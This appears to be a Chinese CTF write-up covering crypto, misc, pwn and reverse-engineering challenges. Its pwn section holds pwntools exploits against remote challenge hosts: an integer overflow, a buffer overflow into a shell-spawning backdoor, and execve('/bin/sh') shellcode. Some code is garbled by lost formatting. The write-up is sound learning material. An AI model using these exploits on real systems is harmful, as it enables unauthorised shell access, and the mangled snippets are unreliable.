Crypto 1.初识rsa 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from Crypto.Util.number import * import hashlib key=b'??????' assert len(key)==6 KEY = hashlib.md5(key).hexdigest().encode() print('KEY=',KEY) flag=b'flag{?????????????}' m=bytes_to_long(flag) e=65537 p=getPrime(512) q=getPrime(512) n=pow(p,3)* pow(q,2) c=pow(m,e,n) P=p^(bytes_to_long(key)) print("P=",P) print("n=",n) print("c=",c) ''' KEY = b'5ae9b7f211e23aac3df5f2b8f3b8eada' P= 8950704257708450266553505566662195919814660677796969745141332884563215887576312397012443714881729945084204600427983533462340628158820681332200645787691506 n= 44446616188218819786207128669544260200786245231084315865332960254466674511396013452706960167237712984131574242297631824608996400521594802041774252109118569706894250996931000927100268277762882754652796291883967540656284636140320080424646971672065901724016868601110447608443973020392152580956168514740954659431174557221037876268055284535861917524270777789465109449562493757855709667594266126482042307573551713967456278514060120085808631486752297737122542989222157016105822237703651230721732928806660755347805734140734412060262304703945060273095463889784812104712104670060859740991896998661852639384506489736605859678660859641869193937584995837021541846286340552602342167842171089327681673432201518271389316638905030292484631032669474635442148203414558029464840768382970333 c= 42481263623445394280231262620086584153533063717448365833463226221868120488285951050193025217363839722803025158955005926008972866584222969940058732766011030882489151801438753030989861560817833544742490630377584951708209970467576914455924941590147893518967800282895563353672016111485919944929116082425633214088603366618022110688943219824625736102047862782981661923567377952054731667935736545461204871636455479900964960932386422126739648242748169170002728992333044486415920542098358305720024908051943748019208098026882781236570466259348897847759538822450491169806820787193008018522291685488876743242619977085369161240842263956004215038707275256809199564441801377497312252051117441861760886176100719291068180295195677144938101948329274751595514805340601788344134469750781845 '''
先倒查md5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from Cryptodome.Util.number import * from Cryptodome.Util.number import long_to_bytes as l2b from Cryptodome.Util.number import bytes_to_long as b2l import gmpy2 e=65537 P= 8950704257708450266553505566662195919814660677796969745141332884563215887576312397012443714881729945084204600427983533462340628158820681332200645787691506 n= 44446616188218819786207128669544260200786245231084315865332960254466674511396013452706960167237712984131574242297631824608996400521594802041774252109118569706894250996931000927100268277762882754652796291883967540656284636140320080424646971672065901724016868601110447608443973020392152580956168514740954659431174557221037876268055284535861917524270777789465109449562493757855709667594266126482042307573551713967456278514060120085808631486752297737122542989222157016105822237703651230721732928806660755347805734140734412060262304703945060273095463889784812104712104670060859740991896998661852639384506489736605859678660859641869193937584995837021541846286340552602342167842171089327681673432201518271389316638905030292484631032669474635442148203414558029464840768382970333 c= 42481263623445394280231262620086584153533063717448365833463226221868120488285951050193025217363839722803025158955005926008972866584222969940058732766011030882489151801438753030989861560817833544742490630377584951708209970467576914455924941590147893518967800282895563353672016111485919944929116082425633214088603366618022110688943219824625736102047862782981661923567377952054731667935736545461204871636455479900964960932386422126739648242748169170002728992333044486415920542098358305720024908051943748019208098026882781236570466259348897847759538822450491169806820787193008018522291685488876743242619977085369161240842263956004215038707275256809199564441801377497312252051117441861760886176100719291068180295195677144938101948329274751595514805340601788344134469750781845 key=b"crypto" keynum=b2l(key) p=P^keynum sq_q=n//(p3) q=gmpy2.iroot(sq_q,2)[0] phin = (p3 - p**2) * (q**2 - q) d=pow(e,-1,phin) m=pow(c,d,n) print(l2b(m))
这里第一次遇到形如如
$ n=p^aq^b $
的模数,对应的phi(n)的解法如下
$ \varphi(n)=(p^a-p^{a-1})(q^b-q^{b-1}) $
b'flag{W3lc0me_t0_4h3_w0rl4_0f_Cryptoooo!}'
2.Sagemath使用指哪? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 # Sage 9.3 key=1 G = PSL(2, 11) key*=G.order() G = CyclicPermutationGroup(11) key*=G.order() G = AlternatingGroup(114) key*=G.order() G = PSL(4, 7) key*=G.order() G = PSU(3, 4) key*=G.order() G = MathieuGroup(12) key*=G.order() c=91550542840025722520458836108112308924742424464072171170891749838108012046397534151231852770095499011 key=(int(str(bin(key))[2:][0:42*8],2)) m=c^^key f=[] while m>0: x=m%256 f.append(chr(x)) m//=256 f.reverse() flag="".join(i for i in f ) print(flag)
flag{e142d08c-7e7d-43ed-b5ad-af51ffc512ee}
3.唯一表示
题目内容:
不要把鸡蛋放在同一个篮子里
【难度:中等】
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from sympy.ntheory.modular import crt from Crypto.Util.number import bytes_to_long from sympy import primerange import uuid # 生成素数列表 primes = list(primerange(2, 114514)) # 生成随机 flag,并转换为整数 flag = "flag{" + str(uuid.uuid4()) + "}" message_int = bytes_to_long(flag.encode()) def fun(n: int): """ 给定整数 n,返回它对若干个素数模的余数列表, 直到用这些余数和模数 CRT 重建出的值恰好等于 n。 """ used_primes = [2] # 当前使用的素数列表,先用 2 开始 prime_index = 1 # primes[0] 已用,从 primes[1] 开始 while True: # 计算 n 对当前所有模数的余数 remainders = [n % p for p in used_primes] # 用 CRT 尝试重建 n reconstructed, _ = crt(used_primes, remainders) # 如果重建成功,返回余数列表 if reconstructed == n: return remainders # 否则继续添加新的素数,扩大模数集合 used_primes.append(primes[prime_index]) prime_index += 1 # 计算 message_int 的余数表示 c = fun(message_int) print(c) """ [1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155] """
CRT,参考我之前写的
低指数加密攻击
1 2 3 4 5 6 7 8 from sympy import primerange from sympy.ntheory.modular import crt from Cryptodome.Util.number import long_to_bytes c = [1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155] primes = list(primerange(2, 114514))[:len(c)] message_int, M = crt(primes, c) print(long_to_bytes(message_int))
b'flag{9c8589c2-aecb-4ec4-b027-654bc322e2d1}'
4.随机数之旅1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import uuid from Crypto.Util.number import getPrime, bytes_to_long import random # 生成随机 flag 并转换为整数 flag = "flag{" + str(uuid.uuid4()) + "}" message_int = bytes_to_long(flag.encode()) # 生成两个素数: # p 的比特长度比 message_int 略大 # a 的比特长度和 p 相同 p = getPrime(message_int.bit_length() + 3) a = getPrime(p.bit_length()) print(f"a = {a}") print(f"p = {p}") # hint 序列:以随机数为起点,按递推关系生成 5 次 # hint[i+1] = (a * hint[i] + message_int) mod p hint_values = [random.randint(1, p - 1)] for _ in range(5): next_value = (a * hint_values[-1] + message_int) % p hint_values.append(next_value) print("hint =", hint_values) """ a = 295789025762601408173828135835543120874436321839537374211067344874253837225114998888279895650663245853 p = 516429062949786265253932153679325182722096129240841519231893318711291039781759818315309383807387756431 hint = [184903644789477348923205958932800932778350668414212847594553173870661019334816268921010695722276438808, 289189387531555679675902459817169546843094450548753333994152067745494929208355954578346190342131249104, 511308006207171169525638257022520734897714346965062712839542056097960669854911764257355038593653419751, 166071289874864336172698289575695453201748407996626084705840173384834203981438122602851131719180238215, 147110858646297801442262599376129381380715215676113653296571296956264538908861108990498641428275853815, 414834276462759739846090124494902935141631458647045274550722758670850152829207904420646985446140292244] """
p 的比特长度比 message_int 略大 a 的比特长度和 p 相同
这两句话就代表了我们可以直接利用
$ message_int = (hint[i+1] - a * hint[i]) % p $
来计算唯一的m。以下是代码实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from Cryptodome.Util.number import long_to_bytes a = 295789025762601408173828135835543120874436321839537374211067344874253837225114998888279895650663245853 p = 516429062949786265253932153679325182722096129240841519231893318711291039781759818315309383807387756431 hint = [ 184903644789477348923205958932800932778350668414212847594553173870661019334816268921010695722276438808, 289189387531555679675902459817169546843094450548753333994152067745494929208355954578346190342131249104, 511308006207171169525638257022520734897714346965062712839542056097960669854911764257355038593653419751, 166071289874864336172698289575695453201748407996626084705840173384834203981438122602851131719180238215, 147110858646297801442262599376129381380715215676113653296571296956264538908861108990498641428275853815, 414834276462759739846090124494902935141631458647045274550722758670850152829207904420646985446140292244 ] message_int = (hint[1] - a * hint[0]) % p flag_bytes = long_to_bytes(message_int) flag = flag_bytes.decode('utf-8') print("Recovered flag:", flag) #当然,如果不放心是否唯一就加检验: # assert message_int == (hint[2] - a * hint[1]) % p # assert message_int == (hint[3] - a * hint[2]) % p # assert message_int == (hint[4] - a * hint[3]) % p # assert message_int == (hint[5] - a * hint[4]) % p
5.小跳蛙 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 banner = """ Welcome to Cathylin's cryptography learning platform, where we learn an algorithm through an interesting problem. There is a frog on the grid point (a, b). When a > b, it will jump to (a-b, b); when a < b, it will jump to (a, b-a); and when a = b, it will stay where it is. Next, I will provide five sets of (a, b), and please submit the final position (x, y) of the frog in sequence If you succeed, I will give you a mysterious flag. """ translation: """ 欢迎来到 Cathylin 的加密学习平台,我们通过有趣的问题来学习算法。 在网格点 (a, b) 上有一只青蛙。当 a > b 时,青蛙跳到 (a-b, b);当 a < b 时,青蛙跳到 (a, b-a);当 a = b 时,青蛙停留在当前位置。 接下来,我将提供五组 (a, b) 数据,请按顺序提交青蛙的最终位置 (x, y)。 如果你成功了,我将给你一个神秘的 flag。 """ print(banner) import re import random from secret import flag cnt = 0 while cnt < 5: a = random.randint(1, 10(cnt+1)) b = random.randint(1, 10(cnt+1)) print( str(cnt+1) + ".(a,b) is: (" + str(a) + "," + str(b) + ")") user_input = input("Please input the final position of the frog (x,y) :") pattern = r'[()]?(\d+)[,\s]+(\d+)[)]?' match = re.match(pattern, user_input.strip()) if match: x, y = map(int, match.groups()) else: print("Unable to parse the input. Please check the format and re-enter") continue original_a, original_b = a, b while a != b: if a > b: a = a - b else: b = b - a if x == a and y == b: print("Congratulations, you answered correctly! Keep going for " + str(4-cnt) + " more times and you will get the mysterious flag!") cnt += 1 else: print("Unfortunately, you answered incorrectly. The correct answer is({}, {}). Please start learning again".format(a, b)) break if cnt == 5: print("Congratulations, you answered all the questions correctly!") print("Mysterious Flag:" + flag)
核心算法就是这个
1 2 3 4 5 while a != b: if a > b: a = a - b else: b = b - a
所以wp很简单就写出来了:
1 2 3 4 5 6 7 8 9 10 a=int(input("a=")) b=int(input("b=")) while a != b: if a > b: a = a - b else: b = b - a print("(",a,",",b,")",sep="")
手动拷贝一下就行,当然也可以写成自动的像pwn的题目一样。
6.random1.3 腾讯元宝
7.random1.9 腾讯元宝
Misc 1.我不要革命失败 按照提示扔到windbg中分析,结果如上,扔给AI分析就行了
1 flag{CRITICAL_PROCESS_DIED_svchost.exe}
2.OSINT-天空belong
B-7198
跟踪一下这个即可。
B-7198 航班跟踪和历史数据 2025年 08月 17日 (TNA / ZSJN-CSX / ZGHA) - FlightAware
flag{UQ3574_武汉市_Xiaomi}
3.MISC城邦-压缩术
题目内容:
欢迎挑战者们来到压缩术的考验关卡,本关考察压缩术的综合使用,请挑战者们通过6位密码门开始挑战吧!(要想使用压缩术,请先念咒语”abcd…xyz0123…789”)
【难度:简单】
所以是6位数字+小写字母的第一轮爆破:
ns2025
接下来是伪加密:
恭喜你,通过了第一道考验,请用其他压缩魔法打开下一扇门吧!(下一扇门明明没有密码,为什么还是要输入密码呢?)
BUUCTF-MISC-11zip伪加密_buuctf zip伪加密-CSDN博客
伪加密标识修改即可:
对比了一下zip里面的key和外面的key字节数相同,试一试明文攻击:
我用的是这个软件,但是这个软件跑明文跑不出来避雷。。
sq告诉我换一个软件:bkcrack
用法
bkcrack -C 加密的zip -c 明文文件(zip当中的那个) -p 明文文件(zip外的)
跑出来结果了:c5a43985 0efe59a5 5dfb3167
bkcrack -C 加密的zip -k 密钥 -D 解密的文件
解密即可flag{You_have_mastered_the_zip_magic!}
4.EZ-fence
题目内容:
rar发现一张残缺的照片竟然需要4颗钉子才能钉住,照片里面似乎藏着秘密。
【难度:简单】
先binwalk -e file分离出了
rdh9zfwzSgOVA7GWtLPQJK=vwuZvjhvPyyvjnMWoSotB
改宽高的部分参考sqwp
之前其实我想到了改宽高 但是改了之后图片直接乱码了,我就以为只有png能改宽高。。
改完发现多了:
8426513709qazwsxedcrfvtgbyhnujmikop1QWSAERFDTYHGUIKJOPLMNBVCXZ-_
长度是64,所以猜测是base64:~~rdh9zfwzSgOVA7GWtLPQJK=vwuZvjhvPyyvjnMWoSotB~~
卧槽这里识别错了,识别完记得对一下。。卡了我半天
rdh9zfwzSgoVA7GWtLPQJK=vwuZvjhvPyyvjnMWoSotB
--W型栅栏密码分4栏-→``rSvMwgdouWZVhAvoj79GhSvWztPoyLfPytvQwJjBnKz=
5.前有文字,所以搜索很有用 Track1 参考:
零宽度字符:和谐?屏蔽?不存在的
https://juejin.cn/post/6844903669192720391
零宽字符解密
http://330k.github.io/misc_tools/unicode_steganography.html
零宽字符本质是用没有“宽度”即__不可见的,不可打印的字符
这里txt文档当中已经提示了用了哪些零宽方式,所以在用网站的时候勾选对应的即可:
ZmxhZ3t5b3Vf
base64→flag{you_
Track2 工具网站:
CTF在线工具-在线Brainfuck加密|在线Brainfuck解密|Brainfuck|Brainfuck原理|Brainfuck算法
一眼brainfuck
brainfuckisgooooood
以下参考了sq的wp,我真的做不出来了我求你了
snow加密
所以说其实并不用直接用word来做,放txt中:
----- ...- ...-- .-. -.-. ....- -- . ..--.-摩斯电码:0V3RC4ME_
Track3
乱码,参考了这篇文章:
多件套隐写 - ^cyi^ - 博客园
随波逐流才发现也可以。。
词频统计发现最后一段flag
cH@1LenG3s}
flag{you_``0V3RC4ME_``cH@1LenG3s}
pwn 1.pwn’s door
flag{e7b29018-0b54-4751-aa0a-754ab651bbad}
2.INTbug
1 2 3 4 5 6 7 8 int __fastcall main(int argc, const char argv, const char envp) { init(argc, argv, envp); puts("welcome to NewStarCTF2025!\n"); alarm(0x64u); func(); return 0; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned __int64 func() { __int16 v1; // [rsp+2h] [rbp-Eh] int v2; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); v1 = 0; while ( 1 ) { v2 = 0; __isoc99_scanf(&unk_2008, &v2); if ( v2 <= 0 ) break; if ( ++v1 < 0 ) { puts("You got it!\n"); system("cat flag"); } } puts("You can only input positive number!\n"); return v3 - __readfsqword(0x28u); }
这道题主要是考了v1是16位的整数溢出,每次输入v2都会让v1自增,所以我们输入次数大于$ 2^{15}-1=32767 $即可:
1 2 3 4 5 6 7 8 from pwn import * r = remote("8.147.132.32", 13502) r.recvuntil(b"welcome to NewStarCTF2025!\n") payload = b"1\n" * 32768 r.send(payload) r.interactive()
flag{80e40b80-2357-4c61-a3ae-52b6cc432ca6}
undo3.GNU Debugger 0x1f6a24b448df585f
GDB_IS_POWERFUL
。。。
手动输入之后就好了。。GDB_IS_POWERFUL
第三关应该是打断点:
先读取一下这个地址的值,发现确实是1,按照他的向导来看就是需要把这个地方的0x1改为0xdeadbeef
set {int}0x7fffffffdc24 = 0xdeadbeef,在确认一遍:
flag{2fcc515b-dab2-4e62-9d22-837f2823e5fc}
4.overflow 1 2 3 4 5 6 7 8 9 void __cdecl try() { char buffer[256]; // [rsp+0h] [rbp-100h] BYREF memset(buffer, 0, sizeof(buffer)); puts("Now,Try to exploit it as I done and get the shell!"); puts("Enter your input:"); gets(buffer); }
1 2 3 4 5 6 void __cdecl backd00r() { puts("Congratulations! You have found the backdoor!"); puts("You can now execute any command you want."); system("/bin/sh"); }
利用溢出覆盖返回地址到后门函数。
参考ctfshow pwn38
1 2 3 4 5 6 7 8 9 from pwn import * p = remote("39.106.48.123", 30607) offset=0x100+0x8 getflag_addr=0x401200 gflea_addr=0x401233 #这里也可以是gfretn的地址 payload=b'a'*offset + p64(gflea_addr) + p64(getflag_addr) p.sendlineafter(b'input:\n', payload) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 int __fastcall main(int argc, const char argv, const char envp) { void *buf; // [rsp+8h] [rbp-8h] init(argc, argv, envp); buf = mmap((void *)0x114514, 0x1000uLL, 7, 34, -1, 0LL); puts("please input a function(after compile)"); read(0, buf, 0x500uLL); ((void (*)(void))buf)(); return 0; }
buf = mmap((void *)0x114514, 0x1000uLL, 7, 34, -1, 0LL);
→在0x114514(映射的期望起始地址 )分配了一块0x1000uLL大小的区域,这里的“7”表示如下:
所以我可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * # 连接到远程服务(替换为实际地址和端口) p = remote('8.147.132.32', 36139) # shellcode 等同于 'execve("/bin/sh", 0, 0)' shellcode = (b"\x48\x31\xf6" #xor rsi, rsi 将 RSI 寄存器清零(用于第二个参数 argv) b"\x56" #push rsi 将 0 压入栈(字符串终止符) b"\x48\xbf \x2f\x62\x69\x6e\x2f\x2f\x73\x68" #mov rdi, 0x68732f2f6e69622f(→/bin//sh,用双斜杠是因为需要转义) b"\x57" #push rdi 将字符串地址压入栈 b"\x54" #push rsp 将当前栈指针压入栈 b"\x5f" #pop rdi 将栈顶弹出到 RDI(现在 RDI 指向字符串地址) b"\x6a\x3b" #push 0x3b 将系统调用号 59 (execve) 压入栈 b"\x58" #pop rax 将系统调用号弹出到 RAX b"\x99" #cdq 将 RDX 清零(用于第三个参数 envp) b"\x0f\x05") #syscall 执行系统调用 #当然也可以连着:shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" p.sendlineafter(b'compile)\n', shellcode) p.interactive()
如果我想执行system(‘/bin/sh’)可以这样发payload吗?
reverse 1.xor 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 int __fastcall main(int argc, const char argv, const char envp) { char Str2[32]; // [rsp+20h] [rbp-60h] BYREF char v5[16]; // [rsp+40h] [rbp-40h] char Str[36]; // [rsp+50h] [rbp-30h] BYREF int v7; // [rsp+74h] [rbp-Ch] int j; // [rsp+78h] [rbp-8h] int i; // [rsp+7Ch] [rbp-4h] _main(); puts("Please input your flag: "); scanf("%25s", Str); v7 = strlen(Str); if ( v7 == 24 ) { for ( i = 0; i < v7; ++i ) { if ( i % 3 ) { if ( i % 3 == 1 ) Str[i] ^= 0x11u; else Str[i] ^= 0x45u; } else { Str[i] ^= 0x14u; } } v5[0] = 19; v5[1] = 19; v5[2] = 81; for ( j = 0; j < v7; ++j ) Str[j] ^= v5[j % 3]; strcpy(Str2, "anu`ym7wKLl$P]v3q%D]lHpi"); if ( !strcmp(Str, Str2) ) puts("Right flag!"); else puts("Wrong flag!"); return 0; } else { puts("Wrong flag length!"); return 0; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def decrypt(flag_encrypted): # 第二轮异或 v5 = [19, 19, 81] flag_decrypted_2 = [] for i, char in enumerate(flag_encrypted): flag_decrypted_2.append(chr(ord(char) ^ v5[i % 3])) # 第一轮异或 for i in range(len(flag_decrypted_2)): if i % 3 == 0: flag_decrypted_2[i] = chr(ord(flag_decrypted_2[i]) ^ 0x14) elif i % 3 == 1: flag_decrypted_2[i] = chr(ord(flag_decrypted_2[i]) ^ 0x11) else: flag_decrypted_2[i] = chr(ord(flag_decrypted_2[i]) ^ 0x45) # 返回解密后的 flag return ''.join(flag_decrypted_2) # 正确的 flag 加密字符串 encrypted_flag = "anu`ym7wKLl$P]v3q%D]lHpi" # 调用解密函数 decrypted_flag = decrypt(encrypted_flag) print("Decrypted flag:", decrypted_flag)
flag{y0u_Kn0W_b4s1C_xOr}
2.Strange Base 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 __int64 __fastcall main() { int v0; // eax size_t v1; // rax unsigned __int8 enc[37]; // [rsp+20h] [rbp-90h] BYREF unsigned __int8 output[48]; // [rsp+50h] [rbp-60h] BYREF unsigned __int8 input[48]; // [rsp+80h] [rbp-30h] BYREF _main(); memset(input, 0, sizeof(input)); memset(output, 0, sizeof(output)); puts("It's time to show your flag to me~~~"); strcpy((char *)enc, "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9="); scanf_s("%s", input); v0 = strlen((const char *)input); base64_encode(input, (char *)output, v0); v1 = strlen((const char *)enc); if ( !memcmp(output, enc, v1) ) printf("Oh! You're awesome!!!"); else puts("Wrong!"); return 0i64; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 char *__cdecl base64_encode(const unsigned __int8 *bindata, char *base64, int binlength) { int v3; // eax int v4; // eax int v5; // eax int v6; // eax int v7; // eax unsigned __int8 current; // [rsp+7h] [rbp-9h] unsigned __int8 currenta; // [rsp+7h] [rbp-9h] int j; // [rsp+8h] [rbp-8h] int ja; // [rsp+8h] [rbp-8h] int jb; // [rsp+8h] [rbp-8h] int i; // [rsp+Ch] [rbp-4h] i = 0; j = 0; while ( i < binlength ) { v3 = j; ja = j + 1; base64[v3] = aHelloACrqzyB4s[(bindata[i] >> 2) & 0x3F]; current = (16 * bindata[i]) & 0x30; if ( binlength <= i + 1 ) { base64[ja] = aHelloACrqzyB4s[current]; base64[ja + 1] = 61; v4 = ja + 2; j = ja + 3; base64[v4] = 61; break; } v5 = ja; jb = ja + 1; base64[v5] = aHelloACrqzyB4s[(bindata[i + 1] >> 4) | current]; currenta = (4 * bindata[i + 1]) & 0x3C; if ( binlength <= i + 2 ) { base64[jb] = aHelloACrqzyB4s[currenta]; v6 = jb + 1; j = jb + 2; base64[v6] = 61; break; } base64[jb] = aHelloACrqzyB4s[(bindata[i + 2] >> 6) | currenta]; v7 = jb + 1; j = jb + 2; base64[v7] = aHelloACrqzyB4s[bindata[i + 2] & 0x3F]; i += 3; } base64[j] = 0; return base64; }
1 2 3 4 5 .rdata:0000000140004000 aHelloACrqzyB4s db 'HElLo!A=CrQzy-B4S3|is',27h,'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV' .rdata:0000000140004000 ; DATA XREF: base64_encode+41↑o .rdata:0000000140004000 ; base64_encode+8C↑o ... .rdata:000000014000403B db 'KJNMF',0 .rdata:0000000140004041 align 8
就是base64的变形,编码表=
HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXVKJNMF
(27h对应的ASCII码是',把后面的KJNMF拼上发现刚好是64个字符,更加确定这就是编码表)
3.Puzzle 拼flag:
flag1\2
flag2
flag3
存在一个异或:
提取出来异或回去即可:
flag4(string视图即可找到)
flag{Do_Y0u_Like_7his_Jigs@w_puzz1e_Gam3}
4.EzMyDroid 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package work.pangbai.ezmydroid; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Toast; import androidx.fragment.app.Fragment; import work.pangbai.ezmydroid.databinding.FragmentFirstBinding; /* loaded from: classes2.dex */ public class FirstFragment extends Fragment { private FragmentFirstBinding binding; @Override // androidx.fragment.app.Fragment public View onCreateView(LayoutInflater layoutInflater, ViewGroup viewGroup, Bundle bundle) { FragmentFirstBinding inflate = FragmentFirstBinding.inflate(layoutInflater, viewGroup, false); this.binding = inflate; return inflate.getRoot(); } @Override // androidx.fragment.app.Fragment public void onViewCreated(View view, Bundle bundle) { super.onViewCreated(view, bundle); this.binding.checkFlag.setOnClickListener(new View.OnClickListener() { // from class: work.pangbai.ezmydroid.FirstFragment.1 @Override // android.view.View.OnClickListener public void onClick(View view2) { try { String encrypt = AESECBUtils.encrypt(FirstFragment.this.binding.input.getText().toString(), "1145141919810000"); Log.i("result", encrypt); if (encrypt.equals("cTz2pDhl8fRMfkkJXfqs2t8JBsqLkvQZDLYpWjEtkLE=")) { Toast.makeText(FirstFragment.this.getContext(), "Right !!!", 0).show(); } else { Toast.makeText(FirstFragment.this.getContext(), "Wrong !!!", 0).show(); } } catch (Exception unused) { } } }); } @Override // androidx.fragment.app.Fragment public void onDestroyView() { super.onDestroyView(); this.binding = null; } }
结合加解密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package work.pangbai.ezmydroid; import java.util.Base64; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* loaded from: classes2.dex */ public class AESECBUtils { private static final String ALGORITHM = "AES"; private static final String TRANSFORMATION = "AES/ECB/PKCS5Padding"; public static String encrypt(String str, String str2) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec(str2.getBytes(), ALGORITHM); Cipher cipher = Cipher.getInstance(TRANSFORMATION); cipher.init(1, secretKeySpec); return Base64.getEncoder().encodeToString(cipher.doFinal(str.getBytes("UTF-8"))); } public static String decrypt(String str, String str2) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec(str2.getBytes(), ALGORITHM); Cipher cipher = Cipher.getInstance(TRANSFORMATION); cipher.init(2, secretKeySpec); return new String(cipher.doFinal(Base64.getDecoder().decode(str)), "UTF-8"); } }
所以根据上面得到的写个解密代码即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from Cryptodome.Cipher import AES import base64 key = b"1145141919810000" ciphertext_b64 = "cTz2pDhl8fRMfkkJXfqs2t8JBsqLkvQZDLYpWjEtkLE=" ciphertext = base64.b64decode(ciphertext_b64) print(ciphertext)#base64解密 cipher = AES.new(key, AES.MODE_ECB) plaintext = cipher.decrypt(ciphertext)# AES-ECB解密 print("Flag:", plaintext.decode()) # 移除PKCS#7填充(其实这一步可以要可以不要解密出来删就是了) pad_len = plaintext[-1] flag = plaintext[:-pad_len].decode() print("Flag:", flag)
Flag: flag{@_g00d_st@r7_f0r_ANDROID}
5.plzdebugme 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 int __fastcall main(int argc, const char argv, const char envp) { int v3; // eax char c; // [rsp+Fh] [rbp-5E1h] uint32_t v[2]; // [rsp+28h] [rbp-5C8h] BYREF uint32_t k[4]; // [rsp+30h] [rbp-5C0h] BYREF RC4_CTX rc4; // [rsp+40h] [rbp-5B0h] BYREF uint8_t rc4_key[4]; // [rsp+150h] [rbp-4A0h] BYREF uint8_t chacha_nonce[12]; // [rsp+154h] [rbp-49Ch] uint8_t aes_key[16]; // [rsp+160h] [rbp-490h] BYREF uint8_t aes_iv[16]; // [rsp+170h] [rbp-480h] BYREF uint8_t chacha_key[32]; // [rsp+180h] [rbp-470h] uint8_t rc4_out[32]; // [rsp+1A0h] [rbp-450h] BYREF uint8_t aes_out[32]; // [rsp+1C0h] [rbp-430h] BYREF uint8_t out[32]; // [rsp+1E0h] [rbp-410h] BYREF unsigned __int64 v17; // [rsp+5E8h] [rbp-8h] v17 = __readfsqword(0x28u); printf(" Debug is important!!!.\n"); printf("You can get the flag directly by debugging\n"); printf("The debugging process is similar to that of Windows\n"); printf("HINT: You can find the flag character style in the function x0r(), break on it\n"); hexchar2int(c); *(_QWORD *)chacha_key = 0xA9A8A7A6A5A4A3A2LL; *(_QWORD *)&chacha_key[8] = 0xC2C1B6B5B9B5B3B1LL; *(_QWORD *)&chacha_key[16] = 0LL; *(_QWORD *)&chacha_key[24] = 0LL; *(_QWORD *)chacha_nonce = 0x69D4D4DDDD4D2D5LL; *(_DWORD *)&chacha_nonce[8] = 0; strcpy((char *)rc4_key, "Wow"); v3 = strlen((const char *)rc4_key); rc4_init(&rc4, rc4_key, v3); rc4_crypt(&rc4, ciphertext, rc4_out, 32); *(_QWORD *)aes_key = 0xA6D2AE2816157E2BLL; *(_QWORD *)&aes_key[8] = 0x1141467597F7ABLL; *(_QWORD *)aes_iv = 0x4511144511144511LL; *(_QWORD *)&aes_iv[8] = 0x1114451114451114LL; aes_de(aes_out, rc4_out, 32, aes_key, aes_iv); memcpy(out, aes_out, sizeof(out)); v[0] = 1751720303; v[1] = 1633904993; k[0] = 1; k[1] = 2; k[2] = 3; k[3] = 4; btea(v, 2, k); x0r(out, 0x20uLL); putchar(10); return 0;#在这里打断点 }
